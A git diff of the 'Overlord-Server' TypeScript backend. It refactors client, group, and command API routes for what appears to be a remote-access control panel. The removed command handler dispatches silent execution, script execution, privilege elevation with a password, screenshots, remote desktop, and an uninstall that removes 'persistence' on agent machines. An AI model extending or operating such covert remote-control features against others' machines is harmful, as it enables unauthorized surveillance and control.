+ const ip = server.requestIP(req)?.address || "unknown";
+ logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, details: `delete_group:${groupId}`, success: true });
+ return Response.json({ ok: true }, { headers: deps.CORS_HEADERS });
+ }
+ }
+
+ if (req.method === "PATCH" && url.pathname === "/api/clients/bulk-group") {
+ const user = await authenticateRequest(req);
+ if (!user) return new Response("Unauthorized", { status: 401 });
+ try { requirePermission(user, "clients:metadata"); requireFeatureAccess(user, "client_metadata"); } catch (error) {
+ if (error instanceof Response) return error;
+ return new Response("Forbidden", { status: 403 });
+ }
+ let body: any = {};
+ try { body = await req.json(); } catch {
+ return Response.json({ error: "Invalid JSON body" }, { status: 400 });
+ }
+ const clientIds = body?.clientIds;
+ if (!Array.isArray(clientIds) || clientIds.length === 0 || clientIds.some((id: any) => typeof id !== "string")) {
+ return Response.json({ error: "clientIds must be a non-empty array of strings" }, { status: 400 });
+ }
+ if (clientIds.length > 500) {
+ return Response.json({ error: "Too many clients (max 500)" }, { status: 400 });
+ }
+ const groupId = body?.groupId === null ? null : Number(body?.groupId);
+ if (groupId !== null && (isNaN(groupId) || groupId < 1)) {
+ return Response.json({ error: "Invalid groupId" }, { status: 400 });
+ }
+ let updated = 0;
+ for (const cid of clientIds) {
+ if (!canUserAccessClient(user.userId, user.role, cid)) continue;
+ if (setClientGroup(cid, groupId)) updated++;
+ }
+ notifyDashboardViewers();
+ const ip = server.requestIP(req)?.address || "unknown";
+ logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, details: `bulk_set_group:${groupId ?? "none"}:${updated}/${clientIds.length}`, success: true });
+ return Response.json({ ok: true, updated, total: clientIds.length, groupId }, { headers: deps.CORS_HEADERS });
+ }
+
+ const clientGroupMatch = url.pathname.match(/^\/api\/clients\/([^/]+)\/group$/);
+ if (req.method === "PATCH" && clientGroupMatch) {
+ const user = await authenticateRequest(req);
+ if (!user) return new Response("Unauthorized", { status: 401 });
+ try { requirePermission(user, "clients:metadata"); requireFeatureAccess(user, "client_metadata"); } catch (error) {
+ if (error instanceof Response) return error;
+ return new Response("Forbidden", { status: 403 });
+ }
+ const targetId = clientGroupMatch[1];
+ try {
+ requireClientAccess(user, targetId);
+ } catch (error) {
+ if (error instanceof Response) return error;
+ return new Response("Forbidden", { status: 403 });
+ }
+ if (!clientExists(targetId)) {
+ return Response.json({ error: "Client not found" }, { status: 404 });
+ }
+ let body: any = {};
+ try { body = await req.json(); } catch {
+ return Response.json({ error: "Invalid JSON body" }, { status: 400 });
+ }
+ const groupId = body?.groupId === null ? null : Number(body?.groupId);
+ if (groupId !== null && (isNaN(groupId) || groupId < 1)) {
+ return Response.json({ error: "Invalid groupId" }, { status: 400 });
+ }
+ const updated = setClientGroup(targetId, groupId);
+ if (!updated) {
+ return Response.json({ error: "Client not found or group does not exist" }, { status: 404 });
+ }
+ notifyDashboardViewers();
+ const ip = server.requestIP(req)?.address || "unknown";
+ logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, targetClientId: targetId, details: groupId ? `set_group:${groupId}` : "clear_group", success: true });
+ return Response.json({ ok: true, groupId }, { headers: deps.CORS_HEADERS });
+ }
+
+ return null;
+}
diff --git a/Overlord-Server/src/server/routes/client-routes.ts b/Overlord-Server/src/server/routes/client-routes.ts
index 86a86f4..b248ec1 100644
--- a/Overlord-Server/src/server/routes/client-routes.ts
+++ b/Overlord-Server/src/server/routes/client-routes.ts
@@ -19,12 +19,6 @@ import {
setClientTag,
setOnlineState,
unbanIp,
- listGroups,
- getGroup,
- createGroup,
- updateGroup,
- deleteGroup,
- setClientGroup,
deleteNotificationsForClient,
} from "../../db";
import { metrics } from "../../metrics";
@@ -37,6 +31,8 @@ import {
} from "../../users";
import { notifyDashboardViewers } from "../../sessions/sessionManager";
import { clearThumbnail } from "../../thumbnails";
+import { handleClientCommandRoute } from "./client-command-routes";
+import { handleClientGroupRoutes } from "./client-group-routes";
type RequestIpProvider = {
requestIP: (req: Request) => { address?: string } | null | undefined;
@@ -69,11 +65,7 @@ export async function handleClientRoutes(
server: RequestIpProvider,
deps: ClientRouteDeps,
): Promise {
- if (
- !url.pathname.startsWith("/api/clients") &&
- !url.pathname.startsWith("/api/groups") &&
- !url.pathname.match(/^\/api\/clients\/.+\/command$/)
- ) {
+ if (!url.pathname.startsWith("/api/clients") && !url.pathname.startsWith("/api/groups")) {
return null;
}
@@ -92,72 +84,38 @@ export async function handleClientRoutes(
const enrollmentFilter = url.searchParams.get("enrollmentFilter") || "approved";
const groupFilter = url.searchParams.get("group") || "all";
const isEnrollmentRequest = url.searchParams.has("enrollmentFilter");
+
if (user.role === "admin") {
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter });
return Response.json(result, { headers: deps.CORS_HEADERS });
}
if (user.role === "operator" && isEnrollmentRequest) {
- const result = listClients({
- page,
- pageSize,
- search,
- sort,
- statusFilter,
- osFilter,
- countryFilter,
- enrollmentFilter,
- groupFilter,
- builtByUserId: user.userId,
- requireBuildOwner: true,
- });
+ const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, builtByUserId: user.userId, requireBuildOwner: true });
return Response.json(result, { headers: deps.CORS_HEADERS });
}
const scope = getUserClientAccessScope(user.userId);
if (scope === "none") {
- return Response.json(
- { page, pageSize, total: 0, online: 0, items: [] },
- { headers: deps.CORS_HEADERS },
- );
+ return Response.json({ page, pageSize, total: 0, online: 0, items: [] }, { headers: deps.CORS_HEADERS });
}
- const allowedClientIds =
- scope === "allowlist"
- ? listUserClientRuleIdsByAccess(user.userId, "allow")
- : undefined;
- const deniedClientIds =
- scope === "denylist"
- ? listUserClientRuleIdsByAccess(user.userId, "deny")
- : undefined;
+ const allowedClientIds = scope === "allowlist" ? listUserClientRuleIdsByAccess(user.userId, "allow") : undefined;
+ const deniedClientIds = scope === "denylist" ? listUserClientRuleIdsByAccess(user.userId, "deny") : undefined;
- const result = listClients({
- page,
- pageSize,
- search,
- sort,
- statusFilter,
- osFilter,
- countryFilter,
- enrollmentFilter,
- groupFilter,
- allowedClientIds,
- deniedClientIds,
- });
+ const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, allowedClientIds, deniedClientIds });
return Response.json(result, { headers: deps.CORS_HEADERS });
}
if (url.pathname === "/api/clients/countries") {
const user = await authenticateRequest(req);
if (!user) return new Response("Unauthorized", { status: 401 });
- const countries = listDistinctCountries();
- return Response.json({ countries }, { headers: deps.CORS_HEADERS });
+ return Response.json({ countries: listDistinctCountries() }, { headers: deps.CORS_HEADERS });
}
if (url.pathname === "/api/clients/banned-ips") {
const user = await authenticateRequest(req);
if (!user) return new Response("Unauthorized", { status: 401 });
-
try {
requirePermission(user, "network:manage-bans");
} catch (error) {
@@ -171,30 +129,13 @@ export async function handleClientRoutes(
if (req.method === "DELETE") {
const ipToUnban = (url.searchParams.get("ip") || "").trim();
- if (!ipToUnban) {
- return Response.json({ error: "Missing ip query parameter" }, { status: 400 });
- }
-
- if (!/^[0-9a-fA-F:.]{3,64}$/.test(ipToUnban)) {
- return Response.json({ error: "Invalid IP format" }, { status: 400 });
- }
-
- if (!isIpBanned(ipToUnban)) {
- return Response.json({ error: "IP is not banned" }, { status: 404 });
- }
+ if (!ipToUnban) return Response.json({ error: "Missing ip query parameter" }, { status: 400 });
+ if (!/^[0-9a-fA-F:.]{3,64}$/.test(ipToUnban)) return Response.json({ error: "Invalid IP format" }, { status: 400 });
+ if (!isIpBanned(ipToUnban)) return Response.json({ error: "IP is not banned" }, { status: 404 });
unbanIp(ipToUnban);
-
const ip = server.requestIP(req)?.address || "unknown";
- logAudit({
- timestamp: Date.now(),
- username: user.username,
- ip,
- action: AuditAction.COMMAND,
- details: `Unbanned IP ${ipToUnban}`,
- success: true,
- });
-
+ logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, details: `Unbanned IP ${ipToUnban}`, success: true });
return Response.json({ ok: true }, { headers: deps.CORS_HEADERS });
}
}
@@ -203,59 +144,35 @@ export async function handleClientRoutes(
if (req.method === "POST" && banMatch) {
const user = await authenticateRequest(req);
if (!user) return new Response("Unauthorized", { status: 401 });
- try {
- requirePermission(user, "clients:control");
- } catch (error) {
+ try { requirePermission(user, "clients:control"); } catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
-
const targetId = banMatch[1];
- try {
- requireClientAccess(user, targetId);
- } catch (error) {
+ try { requireClientAccess(user, targetId); } catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
const target = clientManager.getClient(targetId);
const targetIp = target?.ip || getClientIp(targetId);
- if (!targetIp) {
- return Response.json({ error: "Client IP not found" }, { status: 404 });
- }
+ if (!targetIp) return Response.json({ error: "Client IP not found" }, { status: 404 });
banIp(targetIp, `Banned by ${user.username} for client ${targetId}`);
-
if (target) {
- try {
- target.ws.close(4003, "banned");
- } catch {}
+ try { target.ws.close(4003, "banned"); } catch { }
setOnlineState(targetId, false);
}
-
const ip = server.requestIP(req)?.address || "unknown";
- logAudit({
- timestamp: Date.now(),
- username: user.username,
- ip,
- action: AuditAction.COMMAND,
- targetClientId: targetId,
- details: `Banned IP ${targetIp}`,
- success: true,
- });
-
+ logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, targetClientId: targetId, details: `Banned IP ${targetIp}`, success: true });
return Response.json({ ok: true, ip: targetIp });
}
const thumbnailMatch = url.pathname.match(/^\/api\/clients\/(.+)\/thumbnail$/);
if (req.method === "POST" && thumbnailMatch) {
const user = await authenticateRequest(req);
- if (!user) {
- return new Response("Unauthorized", { status: 401 });
- }
+ if (!user) return new Response("Unauthorized", { status: 401 });
const clientId = thumbnailMatch[1];
- try {
- requireClientAccess(user, clientId);
- } catch (error) {
+ try { requireClientAccess(user, clientId); } catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
@@ -265,14 +182,7 @@ export async function handleClientRoutes(
const beforeVersion = getThumbnailVersion(clientId);
if (target?.online) {
const commandId = uuidv4();
- target.ws.send(
- encodeMessage({
- type: "command",
- commandType: "screenshot",
- id: commandId,
- payload: { mode: "notification", allDisplays: true },
- }),
- );
+ target.ws.send(encodeMessage({ type: "command", commandType: "screenshot", id: commandId, payload: { mode: "notification", allDisplays: true } }));
metrics.recordCommand("screenshot");
}
const fresh = target?.online ? await waitForThumbnail(clientId, 2500) : false;
@@ -283,63 +193,37 @@ export async function handleClientRoutes(
}
clearThumbnailRequest(clientId);
const version = getThumbnailVersion(clientId);
- return Response.json(
- { ok: true, updated: version > beforeVersion, version },
- { headers: deps.CORS_HEADERS },
- );
+ return Response.json({ ok: true, updated: version > beforeVersion, version }, { headers: deps.CORS_HEADERS });
}
if (req.method === "GET" && thumbnailMatch) {
const user = await authenticateRequest(req);
- if (!user) {
- return new Response("Unauthorized", { status: 401 });
- }
+ if (!user) return new Response("Unauthorized", { status: 401 });
const clientId = thumbnailMatch[1];
- try {
- requireClientAccess(user, clientId);
- } catch (error) {
+ try { requireClientAccess(user, clientId); } catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
const { getThumbnailRecord } = await import("../../thumbnails");
const record = getThumbnailRecord(clientId);
- if (!record) {
- return new Response("Not Found", { status: 404 });
- }
+ if (!record) return new Response("Not Found", { status: 404 });
return new Response(record.bytes as unknown as BodyInit, {
status: 200,
- headers: {
- "Content-Type": record.contentType,
- "Content-Length": String(record.bytes.byteLength),
- "Cache-Control": "no-store",
- },
+ headers: { "Content-Type": record.contentType, "Content-Length": String(record.bytes.byteLength), "Cache-Control": "no-store" },
});
}
if (req.method === "DELETE" && url.pathname === "/api/clients/offline") {
const user = await authenticateRequest(req);
if (!user) return new Response("Unauthorized", { status: 401 });
-
- try {
- requirePermission(user, "clients:control");
- } catch (error) {
+ try { requirePermission(user, "clients:control"); } catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
-
const count = deleteOfflineClientRows();
notifyDashboardViewers();
-
const ip = server.requestIP(req)?.address || "unknown";
- logAudit({
- timestamp: Date.now(),
- username: user.username,
- ip,
- action: AuditAction.COMMAND,
- details: `wipe_offline_clients: removed ${count}`,
- success: true,
- });
-
+ logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, details: `wipe_offline_clients: removed ${count}`, success: true });
return Response.json({ ok: true, count }, { headers: deps.CORS_HEADERS });
}
@@ -347,59 +231,33 @@ export async function handleClientRoutes(
if (req.method === "DELETE" && clientDeleteMatch) {
const user = await authenticateRequest(req);
if (!user) return new Response("Unauthorized", { status: 401 });
-
- try {
- requirePermission(user, "clients:control");
- } catch (error) {
+ try { requirePermission(user, "clients:control"); } catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
-
const targetId = clientDeleteMatch[1];
- try {
- requireClientAccess(user, targetId);
- } catch (error) {
+ try { requireClientAccess(user, targetId); } catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
const target = clientManager.getClient(targetId);
const isOnlineInDb = getClientOnlineState(targetId);
if (target?.online || isOnlineInDb === true) {
- return Response.json(
- { error: "Client is online. Remove from dashboard is only allowed for offline clients." },
- { status: 409 },
- );
+ return Response.json({ error: "Client is online. Remove from dashboard is only allowed for offline clients." }, { status: 409 });
}
const existsInDb = clientExists(targetId);
- if (!target && !existsInDb) {
- return Response.json({ error: "Client not found" }, { status: 404 });
- }
+ if (!target && !existsInDb) return Response.json({ error: "Client not found" }, { status: 404 });
if (target) {
- try {
- target.ws.close(4000, "removed");
- } catch {
- // Connection may already be closed.
- }
+ try { target.ws.close(4000, "removed"); } catch { }
clientManager.deleteClient(targetId);
setOnlineState(targetId, false);
}
-
deleteClientRow(targetId);
clearThumbnail(targetId);
notifyDashboardViewers();
-
const ip = server.requestIP(req)?.address || "unknown";
- logAudit({
- timestamp: Date.now(),
- username: user.username,
- ip,
- action: AuditAction.COMMAND,
- targetClientId: targetId,
- details: "remove_dashboard",
- success: true,
- });
-
+ logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, targetClientId: targetId, details: "remove_dashboard", success: true });
return Response.json({ ok: true }, { headers: deps.CORS_HEADERS });
}
@@ -407,60 +265,27 @@ export async function handleClientRoutes(
if (req.method === "PATCH" && clientNicknameMatch) {
const user = await authenticateRequest(req);
if (!user) return new Response("Unauthorized", { status: 401 });
-
- try {
- requirePermission(user, "clients:metadata");
- requireFeatureAccess(user, "client_metadata");
- } catch (error) {
+ try { requirePermission(user, "clients:metadata"); requireFeatureAccess(user, "client_metadata"); } catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
-
const targetId = clientNicknameMatch[1];
- try {
- requireClientAccess(user, targetId);
- } catch (error) {
+ try { requireClientAccess(user, targetId); } catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
- if (!clientExists(targetId)) {
- return Response.json({ error: "Client not found" }, { status: 404 });
- }
-
+ if (!clientExists(targetId)) return Response.json({ error: "Client not found" }, { status: 404 });
let body: any = {};
- try {
- body = await req.json();
- } catch {
- return Response.json({ error: "Invalid JSON body" }, { status: 400 });
- }
-
+ try { body = await req.json(); } catch { return Response.json({ error: "Invalid JSON body" }, { status: 400 }); }
const rawNickname = typeof body?.nickname === "string" ? body.nickname : "";
const trimmed = rawNickname.trim();
- if (trimmed.length > 64) {
- return Response.json(
- { error: "Nickname must be 64 characters or fewer" },
- { status: 400 },
- );
- }
-
+ if (trimmed.length > 64) return Response.json({ error: "Nickname must be 64 characters or fewer" }, { status: 400 });
const nickname = trimmed.length ? trimmed : null;
const updated = setClientNickname(targetId, nickname);
- if (!updated) {
- return Response.json({ error: "Client not found" }, { status: 404 });
- }
+ if (!updated) return Response.json({ error: "Client not found" }, { status: 404 });
notifyDashboardViewers();
-
const ip = server.requestIP(req)?.address || "unknown";
- logAudit({
- timestamp: Date.now(),
- username: user.username,
- ip,
- action: AuditAction.COMMAND,
- targetClientId: targetId,
- details: nickname ? `set_nickname:${nickname}` : "clear_nickname",
- success: true,
- });
-
+ logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, targetClientId: targetId, details: nickname ? `set_nickname:${nickname}` : "clear_nickname", success: true });
return Response.json({ ok: true, nickname }, { headers: deps.CORS_HEADERS });
}
@@ -468,68 +293,30 @@ export async function handleClientRoutes(
if (req.method === "PATCH" && clientTagMatch) {
const user = await authenticateRequest(req);
if (!user) return new Response("Unauthorized", { status: 401 });
-
- try {
- requirePermission(user, "clients:metadata");
- requireFeatureAccess(user, "client_metadata");
- } catch (error) {
+ try { requirePermission(user, "clients:metadata"); requireFeatureAccess(user, "client_metadata"); } catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
-
const targetId = clientTagMatch[1];
- try {
- requireClientAccess(user, targetId);
- } catch (error) {
+ try { requireClientAccess(user, targetId); } catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
- if (!clientExists(targetId)) {
- return Response.json({ error: "Client not found" }, { status: 404 });
- }
-
+ if (!clientExists(targetId)) return Response.json({ error: "Client not found" }, { status: 404 });
let body: any = {};
- try {
- body = await req.json();
- } catch {
- return Response.json({ error: "Invalid JSON body" }, { status: 400 });
- }
-
+ try { body = await req.json(); } catch { return Response.json({ error: "Invalid JSON body" }, { status: 400 }); }
const rawTag = typeof body?.tag === "string" ? body.tag : "";
const rawNote = typeof body?.note === "string" ? body.note : "";
const tag = rawTag.trim();
- if (tag.length > 64) {
- return Response.json(
- { error: "Tag must be 64 characters or fewer" },
- { status: 400 },
- );
- }
-
+ if (tag.length > 64) return Response.json({ error: "Tag must be 64 characters or fewer" }, { status: 400 });
const normalizedTag = tag.length ? tag : null;
const note = normalizedTag ? rawNote : null;
const updated = setClientTag(targetId, normalizedTag, note);
- if (!updated) {
- return Response.json({ error: "Client not found" }, { status: 404 });
- }
+ if (!updated) return Response.json({ error: "Client not found" }, { status: 404 });
notifyDashboardViewers();
-
const ip = server.requestIP(req)?.address || "unknown";
- logAudit({
- timestamp: Date.now(),
- username: user.username,
- ip,
- action: AuditAction.COMMAND,
- targetClientId: targetId,
- details: normalizedTag
- ? `set_custom_tag:${normalizedTag} (note_len=${note?.length || 0})`
- : "clear_custom_tag",
- success: true,
- });
-
- return Response.json(
- { ok: true, tag: normalizedTag, note: note ?? null },
- { headers: deps.CORS_HEADERS },
- );
+ logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, targetClientId: targetId, details: normalizedTag ? `set_custom_tag:${normalizedTag} (note_len=${note?.length || 0})` : "clear_custom_tag", success: true });
+ return Response.json({ ok: true, tag: normalizedTag, note: note ?? null }, { headers: deps.CORS_HEADERS });
}
if (req.method === "PATCH" && url.pathname === "/api/clients/bulk-notifications-muted") {
@@ -539,21 +326,14 @@ export async function handleClientRoutes(
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
-
let body: any = {};
- try { body = await req.json(); } catch {
- return Response.json({ error: "Invalid JSON body" }, { status: 400 });
- }
-
+ try { body = await req.json(); } catch { return Response.json({ error: "Invalid JSON body" }, { status: 400 }); }
const clientIds = body?.clientIds;
if (!Array.isArray(clientIds) || clientIds.length === 0 || clientIds.some((id: any) => typeof id !== "string")) {
return Response.json({ error: "clientIds must be a non-empty array of strings" }, { status: 400 });
}
- if (clientIds.length > 500) {
- return Response.json({ error: "Too many clients (max 500)" }, { status: 400 });
- }
+ if (clientIds.length > 500) return Response.json({ error: "Too many clients (max 500)" }, { status: 400 });
const muted = !!body?.muted;
-
let updated = 0;
let cleared = 0;
for (const cid of clientIds) {
@@ -562,7 +342,6 @@ export async function handleClientRoutes(
cleared += deleteNotificationsForClient(cid);
deps.broadcastNotificationsCleared(cid);
}
-
notifyDashboardViewers();
const ip = server.requestIP(req)?.address || "unknown";
logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, details: `bulk_set_notifications_muted:${muted}:${updated}/${clientIds.length} (cleared ${cleared})`, success: true });
@@ -577,43 +356,22 @@ export async function handleClientRoutes(
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
-
const targetId = muteMatch[1];
- try {
- requireClientAccess(user, targetId);
- } catch (error) {
+ try { requireClientAccess(user, targetId); } catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
- if (!clientExists(targetId)) {
- return Response.json({ error: "Client not found" }, { status: 404 });
- }
-
+ if (!clientExists(targetId)) return Response.json({ error: "Client not found" }, { status: 404 });
let body: any = {};
- try { body = await req.json(); } catch {
- return Response.json({ error: "Invalid JSON body" }, { status: 400 });
- }
-
+ try { body = await req.json(); } catch { return Response.json({ error: "Invalid JSON body" }, { status: 400 }); }
const muted = !!body?.muted;
const updated = setClientNotificationsMuted(targetId, muted);
- if (!updated) {
- return Response.json({ error: "Client not found" }, { status: 404 });
- }
+ if (!updated) return Response.json({ error: "Client not found" }, { status: 404 });
const cleared = deleteNotificationsForClient(targetId);
deps.broadcastNotificationsCleared(targetId);
notifyDashboardViewers();
-
const ip = server.requestIP(req)?.address || "unknown";
- logAudit({
- timestamp: Date.now(),
- username: user.username,
- ip,
- action: AuditAction.COMMAND,
- targetClientId: targetId,
- details: `${muted ? "mute_notifications" : "unmute_notifications"} (cleared ${cleared})`,
- success: true,
- });
-
+ logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, targetClientId: targetId, details: `${muted ? "mute_notifications" : "unmute_notifications"} (cleared ${cleared})`, success: true });
return Response.json({ ok: true, muted, cleared }, { headers: deps.CORS_HEADERS });
}
@@ -621,490 +379,25 @@ export async function handleClientRoutes(
if (req.method === "PATCH" && bookmarkMatch) {
const user = await authenticateRequest(req);
if (!user) return new Response("Unauthorized", { status: 401 });
-
const targetId = bookmarkMatch[1];
- try {
- requireClientAccess(user, targetId);
- } catch (error) {
+ try { requireClientAccess(user, targetId); } catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
- if (!clientExists(targetId)) {
- return Response.json({ error: "Client not found" }, { status: 404 });
- }
-
+ if (!clientExists(targetId)) return Response.json({ error: "Client not found" }, { status: 404 });
let body: any = {};
- try {
- body = await req.json();
- } catch {
- return Response.json({ error: "Invalid JSON body" }, { status: 400 });
- }
-
+ try { body = await req.json(); } catch { return Response.json({ error: "Invalid JSON body" }, { status: 400 }); }
const bookmarked = !!body?.bookmarked;
const updated = setClientBookmark(targetId, bookmarked);
- if (!updated) {
- return Response.json({ error: "Client not found" }, { status: 404 });
- }
-
+ if (!updated) return Response.json({ error: "Client not found" }, { status: 404 });
return Response.json({ ok: true, bookmarked }, { headers: deps.CORS_HEADERS });
}
- if (req.method === "POST") {
- const cmdMatch = url.pathname.match(/^\/api\/clients\/(.+)\/command$/);
- if (cmdMatch) {
- const user = await authenticateRequest(req);
- if (!user) return new Response("Unauthorized", { status: 401 });
+ const cmdResult = await handleClientCommandRoute(req, url, server, deps);
+ if (cmdResult !== null) return cmdResult;
- try {
- requirePermission(user, "clients:control");
- } catch (error) {
- if (error instanceof Response) return error;
- return new Response("Forbidden", { status: 403 });
- }
-
- const targetId = cmdMatch[1];
- try {
- requireClientAccess(user, targetId);
- } catch (error) {
- if (error instanceof Response) return error;
- return new Response("Forbidden", { status: 403 });
- }
- const target = clientManager.getClient(targetId);
- const ip = server.requestIP(req)?.address || "unknown";
-
- if (!target) return new Response("Not found", { status: 404 });
- try {
- const body = await req.json();
- const action = body?.action;
-
- let success = true;
- if (action === "ping") {
- const nonce = Date.now() + Math.floor(Math.random() * 1000);
- target.lastPingSent = Date.now();
- target.lastPingNonce = nonce;
- target.ws.send(encodeMessage({ type: "ping", ts: nonce }));
- } else if (action === "ping_bulk") {
- const count = Math.max(1, Math.min(1000, Number(body?.count || 1)));
- for (let i = 0; i < count; i++) {
- }
- } else if (action === "disconnect") {
- try {
- requirePermission(user, "clients:disconnect");
- requireFeatureAccess(user, "disconnect");
- } catch (error) {
- if (error instanceof Response) return error;
- return new Response("Forbidden", { status: 403 });
- }
- target.ws.send(encodeMessage({ type: "command", commandType: "disconnect", id: uuidv4() }));
- metrics.recordCommand("disconnect");
- logAudit({
- timestamp: Date.now(),
- username: user.username,
- ip,
- action: AuditAction.DISCONNECT,
- targetClientId: targetId,
- success: true,
- });
- } else if (action === "reconnect") {
- try {
- requirePermission(user, "clients:reconnect");
- requireFeatureAccess(user, "reconnect");
- } catch (error) {
- if (error instanceof Response) return error;
- return new Response("Forbidden", { status: 403 });
- }
- target.ws.send(encodeMessage({ type: "command", commandType: "reconnect", id: uuidv4() }));
- metrics.recordCommand("reconnect");
- logAudit({
- timestamp: Date.now(),
- username: user.username,
- ip,
- action: AuditAction.RECONNECT,
- targetClientId: targetId,
- success: true,
- });
- } else if (action === "screenshot") {
- target.ws.send(
- encodeMessage({
- type: "command",
- commandType: "screenshot",
- id: uuidv4(),
- payload: { mode: "notification", allDisplays: true },
- }),
- );
- metrics.recordCommand("screenshot");
- logAudit({
- timestamp: Date.now(),
- username: user.username,
- ip,
- action: AuditAction.SCREENSHOT,
- targetClientId: targetId,
- success: true,
- });
- } else if (action === "desktop_start") {
- target.ws.send(encodeMessage({ type: "command", commandType: "desktop_start", id: uuidv4() }));
- metrics.recordCommand("desktop_start");
- } else if (action === "script_exec") {
- const scriptContent = body?.script || "";
- const scriptType = body?.scriptType || "powershell";
- const cmdId = uuidv4();
-
- const resultPromise = new Promise((resolve, reject) => {
- const timeout = setTimeout(() => {
- deps.pendingScripts.delete(cmdId);
- reject(new Error("Script execution timed out after 5 minutes"));
- }, 5 * 60 * 1000);
-
- deps.pendingScripts.set(cmdId, { resolve, reject, timeout, clientId: targetId });
- });
-
- target.ws.send(encodeMessage({
- type: "command",
- commandType: "script_exec",
- id: cmdId,
- payload: { script: scriptContent, type: scriptType },
- }));
-
- metrics.recordCommand("script_exec");
- logAudit({
- timestamp: Date.now(),
- username: user.username,
- ip,
- action: AuditAction.SCRIPT_EXECUTE,
- targetClientId: targetId,
- success: true,
- details: `script_exec (${scriptType})`,
- });
-
- try {
- const result = await resultPromise;
- return Response.json(result);
- } catch (error: any) {
- return Response.json({ ok: false, error: error.message }, { status: 500 });
- }
- } else if (action === "voice_capabilities") {
- const cmdId = uuidv4();
- const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
- const timeout = setTimeout(() => {
- deps.pendingCommandReplies.delete(cmdId);
- reject(new Error("Voice capability probe timed out"));
- }, 30_000);
- deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId: targetId });
- });
-
- target.ws.send(
- encodeMessage({
- type: "command",
- commandType: "voice_capabilities",
- id: cmdId,
- }),
- );
-
- try {
- const result = await replyPromise;
- let caps: any = null;
- if (result.message) {
- try {
- caps = JSON.parse(result.message);
- } catch {
- caps = null;
- }
- }
- return Response.json({ ok: result.ok, capabilities: caps, response: result.message || "" }, { headers: deps.CORS_HEADERS });
- } catch (error: any) {
- return Response.json({ ok: false, error: error.message || "Voice capability probe failed" }, { status: 504 });
- }
- } else if (action === "silent_exec") {
- try {
- requirePermission(user, "clients:silent-exec");
- } catch (error) {
- if (error instanceof Response) return error;
- return new Response("Forbidden", { status: 403 });
- }
-
- const command = typeof body?.command === "string" ? body.command.trim() : "";
- const args = typeof body?.args === "string" ? body.args : "";
- const cwd = typeof body?.cwd === "string" ? body.cwd : "";
-
- if (!command) {
- return new Response("Bad request", { status: 400 });
- }
-
- const cmdId = uuidv4();
- target.ws.send(
- encodeMessage({
- type: "command",
- commandType: "silent_exec",
- id: cmdId,
- payload: { command, args, cwd },
- }),
- );
- metrics.recordCommand("silent_exec");
- logAudit({
- timestamp: Date.now(),
- username: user.username,
- ip,
- action: AuditAction.SILENT_EXECUTE,
- targetClientId: targetId,
- success: true,
- details: JSON.stringify({ command, args, cwd }),
- });
- } else if (action === "uninstall") {
- try {
- requirePermission(user, "clients:uninstall");
- requireFeatureAccess(user, "uninstall");
- } catch (error) {
- if (error instanceof Response) return error;
- return new Response("Forbidden", { status: 403 });
- }
- target.ws.send(encodeMessage({ type: "command", commandType: "uninstall", id: uuidv4() }));
- metrics.recordCommand("uninstall");
- clientManager.deleteClient(targetId);
- deleteClientRow(targetId);
- clearThumbnail(targetId);
- logAudit({
- timestamp: Date.now(),
- username: user.username,
- ip,
- action: AuditAction.UNINSTALL,
- targetClientId: targetId,
- details: "Agent uninstall requested - persistence will be removed",
- success: true,
- });
- } else if (action === "elevate") {
- try {
- requirePermission(user, "clients:elevate");
- } catch (error) {
- if (error instanceof Response) return error;
- return new Response("Forbidden", { status: 403 });
- }
-
- const password = typeof body?.password === "string" ? body.password : "";
-
- const cmdId = uuidv4();
- const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
- const timeout = setTimeout(() => {
- deps.pendingCommandReplies.delete(cmdId);
- reject(new Error("Elevation timed out"));
- }, 30_000);
- deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId: targetId });
- });
-
- target.ws.send(
- encodeMessage({
- type: "command",
- commandType: "elevate",
- id: cmdId,
- payload: { password },
- }),
- );
- metrics.recordCommand("elevate");
- logAudit({
- timestamp: Date.now(),
- username: user.username,
- ip,
- action: AuditAction.COMMAND,
- targetClientId: targetId,
- success: true,
- details: "elevate",
- });
-
- try {
- const result = await replyPromise;
- return Response.json({ ok: result.ok, message: result.message || "" }, { headers: deps.CORS_HEADERS });
- } catch (error: any) {
